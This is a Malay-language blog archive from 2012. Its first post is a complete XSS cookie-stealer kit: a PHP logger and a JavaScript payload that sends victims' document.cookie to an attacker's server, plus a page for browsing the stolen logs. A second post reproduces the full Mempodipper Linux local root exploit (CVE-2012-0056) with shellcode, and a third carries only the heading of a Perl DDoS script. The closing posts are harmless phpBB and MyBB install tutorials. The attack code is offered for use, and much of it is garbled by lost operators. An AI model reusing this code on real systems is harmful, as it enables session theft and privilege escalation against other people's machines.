Wednesday, 29 February 2012

Cookie Stealer Advanced Dengan Pagination


1. Logger [save as logger.php]

PHP Code:
<?php
$cookie 
$HTTP_GET_VARS["cookie"];$date date ("j F Y h:i:s A");$ip $_SERVER['REMOTE_ADDR'];$agent $_SERVER['HTTP_USER_AGENT'];$referer $_SERVER['HTTP_REFERER'];$file fopen('logs.html''a');fwrite($file"<tr><td>\n <font color='#990000' ><b>\n Cookies : </b></font>$cookie <br>\n<font color='#990000' ><b> Date : </b></font> $date <br>\n <font color='#990000' ><b> IP : </b></font> $ip <br>\n<font color='#990000' ><b>\n Referer : </b></font>$referer <br>\n<font color='#990000' ><b> Agent : </b></font> $agent <br>\n<hr><hr><br>\n</td></tr>\n");fclose($file);header'Location: http://www.redirectURL.com' ) ;?>


2. JS Logger [save as logger.js]
[Untuk dimasukkan ke dalam XSS anda]

Quote:<script src=http://www.yourwebsite.com/logger.js>

PHP Code:
location.href 'http://youwebsite.com/logger.php?cookie='+encodeURIComponent(document.cookie); 


3. Page Cookie Logs [save as logs.php]

PHP Code:
<!-- If you wanna highlight a specific words -->

<
script type="text/javascript" src="highlight.js"></script><body onload="highlightSearchTerms('Word1');highlightSearchTerms('Word2');highlightSearchTerms​('Word3')">

<head>
  <style type="text/css">

            body
            {
 overflow:visible;
            }
    .pg-normal {
    color: black;
    font-weight: normal;
    text-decoration: none;
    cursor: pointer;
    }
    .pg-selected {
    color: black;
    font-weight: bold;
    text-decoration: underline;
    cursor: pointer;
    }
  </style>

  <script type="text/javascript" src="page.js"></script>
    </head>
<body>
  <center><div id="pageNavPosition"></div></center><br><hr>
  <form action="" method="get" enctype="application/x-www-form-urlencoded">
  <table  id="results">
    <tr>
    <th></th>
    <th></th>
    </tr>

<?php include 'logs.html'?>
 </table>
    </form>

    <script type="text/javascript"><!--
  var pager = new Pager('results', 10);
  pager.init();
  pager.showPageNav('pager', 'pageNavPosition');
  pager.showPage(1);
    //--></script>

    </body>
</html> 


5. HTML Logs [save as logs.html]

** Buat satu page html kosong


4. JS Page [save as page.js]
[Untuk membuat page anda]


PHP Code:
function Pager(tableNameitemsPerPage) {
    
this.tableName tableName;
    
this.itemsPerPage itemsPerPage;
    
this.currentPage 1;
    
this.pages 0;
    
this.inited false;

    
this.showRecords = function(fromto) {
  var 
rows document.getElementById(tableName).rows;
  
// i starts from 1 to skip table header row
  
for (var 1rows.lengthi++) {
    if (
from || to)
    
rows[i].style.display 'none';
    else
    
rows[i].style.display '';
  }
    }

    
this.showPage = function(pageNumber) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }

  var 
oldPageAnchor document.getElementById('pg'+this.currentPage);
  
oldPageAnchor.className 'pg-normal';

  
this.currentPage pageNumber;
  var 
newPageAnchor document.getElementById('pg'+this.currentPage);
  
newPageAnchor.className 'pg-selected';

  var 
from = (pageNumber 1) * itemsPerPage 1;
  var 
to from itemsPerPage 1;
  
this.showRecords(fromto);
    }

    
this.prev = function() {
  if (
this.currentPage 1)
    
this.showPage(this.currentPage 1);
    }

    
this.next = function() {
  if (
this.currentPage this.pages) {
    
this.showPage(this.currentPage 1);
  }
    }

    
this.init = function() {
  var 
rows document.getElementById(tableName).rows;
  var 
records = (rows.length 1);
  
this.pages Math.ceil(records itemsPerPage);
  
this.inited true;
    }

    
this.showPageNav = function(pagerNamepositionId) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }
  var 
element document.getElementById(positionId);

  var 
pagerHtml '<span onclick="' pagerName '.prev();" class="pg-normal"> &#171 Prev </span> | ';
  for (var 
page 1page <= this.pagespage++)
    
pagerHtml += '<span id="pg' page '" class="pg-normal" onclick="' pagerName '.showPage(' page ');">' page '</span> | ';
  
pagerHtml += '<span onclick="'+pagerName+'.next();" class="pg-normal"> Next »</span>';

  
element.innerHTML pagerHtml;
    }



5. JS Highlight [save as highlight.js]
[**Pilihan Sahaja : Untuk membuat perkataan tertentu dihighlight seperti dalam gambar yang diatas sekali]


PHP Code:
function doHighlight(bodyTextsearchTermhighlightStartTaghighlightEndTag)
{
  
// the highlightStartTag and highlightEndTag parameters are optional
  
if ((!highlightStartTag) || (!highlightEndTag)) {
    
highlightStartTag "<font style='color:blue; background-color:yellow;'><b>";
    
highlightEndTag "</font></b>";
  }
  var 
newText "";
  var 
= -1;
  var 
lcSearchTerm searchTerm.toLowerCase();
  var 
lcBodyText bodyText.toLowerCase();

  while (
bodyText.length 0) {
    
lcBodyText.indexOf(lcSearchTermi+1);
    if (
0) {
  
newText += bodyText;
  
bodyText "";
    } else {
  
// skip anything inside an HTML tag
  
if (bodyText.lastIndexOf(">"i) >= bodyText.lastIndexOf("<"i)) {
  
// skip anything inside a <script> block
  
if (lcBodyText.lastIndexOf("/script>"i) >= lcBodyText.lastIndexOf("<script"i)) {
    
newText += bodyText.substring(0i) + highlightStartTag bodyText.substr(isearchTerm.length) + highlightEndTag;
    
bodyText bodyText.substr(searchTerm.length);
    
lcBodyText bodyText.toLowerCase();
    
= -1;
  }
  }
    }
  }

  return 
newText;
}

function 
highlightSearchTerms(searchTexttreatAsPhrasewarnOnFailurehighlightStartTaghighlightEndTag)
{
  if (
treatAsPhrase) {
    
searchArray = [searchText];
  } else {
    
searchArray searchText.split(" ");
  }

  if (!
document.body || typeof(document.body.innerHTML) == "undefined") {
    if (
warnOnFailure) {
  
alert("Sorry, for some reason the text of this page is unavailable. Searching will not work.");
    }
    return 
false;
  }

  var 
bodyText document.body.innerHTML;
  for (var 
0searchArray.lengthi++) {
    
bodyText doHighlight(bodyTextsearchArray[i], highlightStartTaghighlightEndTag);
  }

  
document.body.innerHTML bodyText;
  return 
true;
}
/*
 * This displays a dialog box that allows a user to enter their own
 * search terms to highlight on the page, and then passes the search
 * text or phrase to the highlightSearchTerms function. All parameters
 * are optional.
 */
function searchPrompt(defaultTexttreatAsPhrasetextColorbgColor)
{
  
// This function prompts the user for any words that should
  // be highlighted on this web page
  
if (!defaultText) {
    
defaultText "";
  }

  
// we can optionally use our own highlight tag values
  
if ((!textColor) || (!bgColor)) {
    
highlightStartTag "";
    
highlightEndTag "";
  } else {
    
highlightStartTag "<font style='color:" textColor "; background-color:" bgColor ";'>";
    
highlightEndTag "</font>";
  }

  if (
treatAsPhrase) {
    
promptText "Please enter the phrase you'd like to search for:";
  } else {
    
promptText "Please enter the words you'd like to search for, separated by spaces:";
  }

  
searchText prompt(promptTextdefaultText);

  if (!
searchText)  {
    
alert("No search terms were entered. Exiting function.");
    return 
false;
  }

  return 
highlightSearchTerms(searchTexttreatAsPhrasetruehighlightStartTaghighlightEndTag);
}
/*
 * This function takes a referer/referrer string and parses it
 * to determine if it contains any search terms. If it does, the
 * search terms are passed to the highlightSearchTerms function
 * so they can be highlighted on the current page.
 */
function highlightGoogleSearchTerms(referrer)
{
  
// This function has only been very lightly tested against
  // typical Google search URLs. If you wanted the Google search
  // terms to be automatically highlighted on a page, you could
  // call the function in the onload event of your <body> tag,
  // like this:
  //   <body onload='highlightGoogleSearchTerms(document.referrer);'>

  //var referrer = document.referrer;
  
if (!referrer) {
    return 
false;
  }

  var 
queryPrefix "q=";
  var 
startPos referrer.toLowerCase().indexOf(queryPrefix);
  if ((
startPos 0) || (startPos queryPrefix.length == referrer.length)) {
    return 
false;
  }

  var 
endPos referrer.indexOf("&"startPos);
  if (
endPos 0) {
    
endPos referrer.length;
  }

  var 
queryString referrer.substring(startPos queryPrefix.lengthendPos);
  
// fix the space characters
  
queryString queryString.replace(/%20/gi" ");
  
queryString queryString.replace(/\+/gi" ");
  
// remove the quotes (if you're really creative, you could search for the
  // terms within the quotes as phrases, and everything else as single terms)
  
queryString queryString.replace(/%22/gi"");
  
queryString queryString.replace(/\"/gi, "");

  return highlightSearchTerms(queryString, false);
}

/*
 * This function is just an easy way to test the highlightGoogleSearchTerms
 * function.
 */
function testHighlightGoogleSearchTerms()
{
  var referrerString = "
http://www.google.com/search?q=javascript%20highlight&start=0";
  
referrerString prompt("Test the following referrer string:"referrerString);
  return 
highlightGoogleSearchTerms(referrerString);


Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit


# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
# Author: zx2c4
# Tested on: Gentoo, Ubuntu
# Platform: Linux
# Category: Local


/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/
#define _LARGEFILE64_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    int n;
    int sock;
    char cms[CMSG_SPACE(sizeof(int))];
    if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;
    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;
    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}
int recv_fd()
{
    int listener;
    int sock;
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    char cms[CMSG_SPACE(sizeof(int))];
    if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    unlink(socket_path);
    if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;
    if (listen(listener, 1) < 0)
        return -1;
    if ((sock = accept(listener, NULL, NULL)) < 0)
        return -1;
    iov.iov_base = buf;
    iov.iov_len = 1;
    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;
    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    close(listener);
    return fd;
}
int main(int argc, char **argv)
{
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
        char parent_mem[256];
        sprintf(parent_mem, "/proc/%s/mem", argv[2]);
        printf("[+] Opening parent mem %s in child.\n", parent_mem);
        int fd = open(parent_mem, O_RDWR);
        if (fd < 0) {
            perror("[-] open");
            return 1;
        }
        printf("[+] Sending fd %d to parent.\n", fd);
        send_fd(fd);
        return 0;
    }
    printf("===============================\n");
    printf("=          Mempodipper        =\n");
    printf("=           by zx2c4          =\n");
    printf("=         Jan 21, 2012        =\n");
    printf("===============================\n\n");
    int parent_pid = getpid();
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent.\n");
        int fd = recv_fd();
        printf("[+] Received fd at %d.\n", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return -1;
        }
        printf("[+] Assigning fd %d to stderr.\n", fd);
        dup2(2, 6);
        dup2(fd, 2);
        unsigned long address;
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
            address = strtoul(argv[2], NULL, 16);
        else {
            printf("[+] Reading su for exit@plt.\n");
            // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
            FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
            char result[32];
            result[0] = 0;
            fgets(result, 32, command);
            pclose(command);
            address = strtoul(result, NULL, 16);
            if (address == ULONG_MAX || !address) {
                printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
                return 1;
            }
            printf("[+] Resolved exit@plt to 0x%lx.\n", address);
        }
        printf("[+] Calculating su padding.\n");
        FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
        char result[256];
        result[0] = 0;
        fgets(result, 256, command);
        pclose(command);
        unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
        unsigned long offset = address - su_padding;
        printf("[+] Seeking to offset 0x%lx.\n", offset);
        lseek64(fd, offset, SEEK_SET);
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
            "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
            "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
            "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
            "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
        printf("[+] Executing su with shellcode.\n");
        execl("/bin/su", "su", shellcode, NULL);
    } else {
        char pid[32];
        sprintf(pid, "%d", parent_pid);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", argv[0], "-c", pid, NULL);
    }
}

Script DDOS Perl



Cara Install phpBB Ke Localhost Menggunakan Xampp


phpBB adalah salah satu Bulletin Board yang boleh dimiliki secara percuma dan boleh dimuat turun daripada laman web http://www.phpbb.com/downloads/olympus.php?sid=105a8ae82ddccab55c4293a24c9a0ed6

Disini adalah tutorial bagi anda yang hendak mencuba memasang phpBB pada localhost dan semestinya pada tutorial ini saya menggunakan Xampp kerana ianya mudah untuk dikonfigurasi.

1. Muat Turun Xampp dan pasang ke dalam PC/Laptop anda.

2. Muat turun phpBB melalui link diatas.

3. Ekstrak fail phpBB menggunakan 7-zip atau Winrar atau apa sahaja zip/rar converter.

4. Salin folder phpBB yang sudah anda ekstrak ke dalam C:\xampp\htdocs\ dan tukar nama fail anda kepada nama yang anda kehendaki contohnya saya menggunakan nama "phpbb" bagi folder fail phpbb saya.

5. PERTAMA SEKALI anda harus membuat DATABASE yang akan digunakan untuk menyimpan TABLE phpBB anda. Buka browser anda dan taip http://localhost/phpmyadmin/ dan anda akan masuk ke panel utama phpMyAdmin.


Tekan butang DATABASE untuk membuat DATABASE bagi phpBB anda


Pada kotak 1 letakkan nama DATABASE anda contoh "phpbb" kemudian tekan butang CREATE untuk membina DATABASE anda.

Anda akan nampak notifikasi ini setelah DATABASE anda berjaya dibina


Buka browser anda dan taip http://localhost/namafolderanda/ contoh http://localhost/phpbb/ dan anda akan dibawa ke panel utama untuk mengkonfigurasi phpBB anda, Tekan tab INSTALL untuk memulakan proses pemasangan phpBB anda pada LOCALHOST


Ini adalah laman utama untuk proses pemasangan phpBB anda dan anda boleh meneruskan dengan menekan butang PROCEED TO NEXT STEP


Ini adalah laman untuk memeriksa samada anda memenuhi syarat yang ditetapkan untuk memasang phpBB.


Apabila anda scroll ke bawah pada laman tadi anda akan jumpa SUPPORTED DATABASE dan pastikan salah satunya bertanda AVAILABLE untuk meneruskan proses pemasangan phpBB anda


Setelah itu scroll kebawah lagi dan tekan butang START INSTALL


Anda akan masuk ke laman KONFIGURASI DATABASE dimana anda harus memasukkan data seperti di bawah

1. Biarkan pada setting DEFAULT
2. Taip localhost kerana anda memasang pada localhost
3. Taip NAMA DATABASE yang anda telah buat tadi di phpMyAdmin contohnya seperti yang saya gunakan tadi "phpbb"
4. Masukkan USERNAME anda contoh ADMIN dan pada bahagian PASSWORD biarkan kosong
5. Biarkan pada setting DEFAULT


Sekiranya anda telah memasukkan maklumat tepat pada laman sebelumnya maka disini akan keluar notifikasi sambungan ke DATABASE dan SERVER anda berjaya


Ini adalah laman untuk anda memasukkan maklumat ADMINISTRATOR phpBB anda iaitu anda.

1. Biarkan pada setting DEFAULT
2. Masukkan USERNAME ADMINISTRATOR anda contoh ADMIN
3. Masukkan PASSWORD anda
4. Ulang langkah 3
5. Masukkan email anda yang sah contohnya EMAIL GMAIL/YAHOO/MSN anda
6. Ulang langkah 5
7. Sekiranya anda selesai tekan butang PROCEED TO THE NEXT STEP


Sekiranya anda telah memasukkan maklumat yang betul pada laman sebelumnya maka anda boleh meneruskan pada langkah seterusnya dengan menekan butang PROCEED TO NEXT STEP


Pada laman ini akan menunjukkan bahawa konfigurasi fail phpBB anda telah berjaya disimpan dan teruskan ke langkah seterusnya dengan menekan butang PROCEED TO NEXT STEP


Pada laman ini tiada apa yang perlu dibuat cuma tukar setting ENABLED BOARD WIDE E-MAIL daripada ENABLED kepada DISABLED memandangkan anda memasang phpBB sebagai TEST BOARD sahaja


Scroll ke bawah dan tekan butang PROCEED TO NEXT STEP


Pada laman ini anda akan dimaklumkan bahawa data-data telahpun berjaya dimasukkan ke dalam DATABASE anda dan tekan butang PROCEED TO NEXT STEP untuk langkah TERAKHIR


Sekiranya anda telah sampai ke laman ini TAHNIAH anda telah pun berjaya memasang phpBB anda yang pertama di localhost dan tekan butang LOGIN untuk masuk ke ADMIN CONTROL PANEL anda


SELAMAT DATANG DI ADMIN CONTROL PANEL phpBB ANDA.
MUDAH BUKAN?

Tuesday, 28 February 2012

Cara Install MyBB Ke Dalam Localhost Menggunakan Xampp

Tidak banyak artikel tentang cara install MyBB ke dalam localhost ditulis oleh bangsa Melayu. Kebanyakkan merujuk kepada artikel Indonesia, ini menunjukkan Indonesia lebih maju dalam webmaster berbanding Malaysia.


Disini adalah sedikit tutorial bergambar untuk install MyBB ke dalam localhost bagi yang hendak memulakan diri dalam Webmaster.


1. Download Xampp daripada official site : http://www.apachefriends.org/en/xampp-windows.html


2. Install Xampp anda kemudian run, sekiranya service apache gagal untuk disambung sila putuskan semua sambungan internet terlebih dahulu dan start service apache kemudian connect semula internet anda.


3. Download versi MyBB terkini daripada laman web MyBB : http://www.mybb.com/downloads


4. Kemudian extract zip file anda kemudian copy folder upload ke dalam C:\xampp\htdocs


5. Rename folder upload kepada nama yang anda pilih contoh saya menggunakan nama mybb untuk folder saya.


6. Buka browser anda dan taip http://localhost/foldermybbanda/install contoh http://localhost/mybb/install/ kerana folder mybb saya adalah mybb kemudian [ENTER]


7. Anda akan dibawa ke laman utama MyBB untuk memulakan proses install MyBB anda.


Ini adalah laman utama dan tekan butang [NEXT]


Ini adalah laman License Agreement anda boleh menekan butang [NEXT]


Ini adalah laman Requirement Check dan jika semuanya seperti dalam gambar diatas, tekan butang [NEXT]


Ini adalah laman Database Configuration dan disini anda akan memasukkan maklumat database anda untuk memulakan proses INSTALL MyBB anda.


Pada bahagian Database Engine pilih MySQL Improved / MySQL [Saya cadangkan MySQL Improved] dan bukan yang lain.

Pada bahagian Database Server Hostname tulis localhost memandangkan anda memasang MyBB pada localhost.

Pada Database Username tulis root kerana ini adalah username default bagi engine SQL Xammp.

Pada Database Password tinggalkan kosong.

Pada Database Name tulis nama database yang anda create pada phpMyAdmin



Untuk membuat database yang akan anda gunakan untuk memasang MyBB anda masukkan alamat http://localhost/phpmyadmin ke dalam URL dan anda akan dibawa kepage phpMyAdmin.

Tekan pada tab Database untuk membina Database yang akan digunakan pada MyBB anda.


Masukkan nama database anda contohnya saya menggunakan nama mybb dan tekan butang [CREATE]


Anda akan nampak nama database anda pada bahagian tepi.

Kemudian balik ke laman INSTALL MyBB anda dan masukkan nama database yang anda create pada bahagian Database Name dan tekan butang [NEXT]


Ini adalah laman yang menunjukkan table MyBB telahpun berjaya dicreate ke dalam database anda dan tekan butang [NEXT]


Ini adalah laman Table Populatian anda boleh menekan butang [NEXT]


Ini adalah laman Theme Insertion anda boleh menekan butang [NEXT]


Ini adalah laman Board Configuration, jika anda hendak menggunakan DEFAULT SETTING anda boleh menekan butang [NEXT]


Ini adalah laman Create Administrator Account dimana anda akan membuat akaun pertama / user pertama pada laman MyBB anda dimana user pertama adalah Super Admin / Root Admin pada lama MyBB anda dalam kata lain merupakan WEBMASTER kepada laman MyBB tersebut.

Pada bahagian Username masukkan Username anda contohnya Admin

Pada bahagian Password masukkan password anda dan ulang semula pada bahagian Retype Password.

Pada bahagian Email Address masukkan email localhost anda samada postmaster@localhost / admin@localhost.

Setelah selesai tekan butang [NEXT]


Laman ini menunjukkan bahawa laman MyBB anda telah pun selesai dipasang dan anda boleh terus ke laman Admin Control Panel/Dashbord anda dengan menekan Admin Control Panel atau taip http://localhost/namafolderanda/admin contoh http://localhost/mybb/admin pada url browser anda.


Masukkan Username dan Password yang telah anda buat pada laman Create Administrator Account sebelum ini dan tekan butang [LOGIN]


Selamat Datang Ke Dashdboard atau Admin Control Panel anda.

Bersambung di masa lain :P